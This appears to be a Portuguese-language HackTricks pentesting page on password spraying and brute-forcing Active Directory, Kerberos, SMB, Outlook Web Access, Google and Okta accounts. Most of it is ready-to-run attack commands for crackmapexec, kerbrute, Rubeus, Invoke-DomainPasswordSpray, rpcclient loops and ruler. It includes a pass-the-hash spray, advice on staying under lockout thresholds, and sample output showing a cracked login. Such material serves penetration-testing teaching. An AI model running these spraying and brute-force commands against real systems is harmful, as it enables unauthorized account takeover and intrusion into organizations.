hacktricks/windows-hardening/active-directory-methodology/password-spraying.md

# Password Spraying / Brute Force

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## **Password Spraying**

Uma vez que você tenha encontrado vários **nomes de usuário válidos**, pode tentar as **senhas mais comuns** (lembre-se da política de senhas do ambiente) com cada um dos usuários descobertos.\
Por **padrão**, o **comprimento mínimo** da **senha** é **7**.

Listas de nomes de usuário comuns também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)

Observe que você **pode bloquear algumas contas se tentar várias senhas erradas** (por padrão, mais de 10).

### Obter política de senhas

Se você tiver algumas credenciais de usuário ou um shell como um usuário de domínio, pode **obter a política de senhas com**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploração a partir do Linux (ou todos)

* Usando **crackmapexec:**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
* Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
* [**spray**](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar bloqueios):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
* Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO, ÀS VEZES NÃO FUNCIONA
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
* Com o módulo `scanner/smb/smb_login` do **Metasploit**:

![](<../../.gitbook/assets/image (745).png>)

* Usando **rpcclient**:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### Do Windows

* Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o módulo de brute:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
* Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com isso):
```powershell
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
* Com [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
## Força Bruta

{% code overflow="wrap" %}
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
{% endcode %}

## Outlook Web Access

Existem várias ferramentas para p**assword spraying outlook**.

* Com [MSF Owa\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_login/)
* com [MSF Owa\_ews\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa\_ews\_login/)
* Com [Ruler](https://github.com/sensepost/ruler) (confiável!)
* Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
* Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)

Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
```
## Google

* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)

## Okta

* [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
* [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
* [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)

## Referências

* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
* [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
* [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
* [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)

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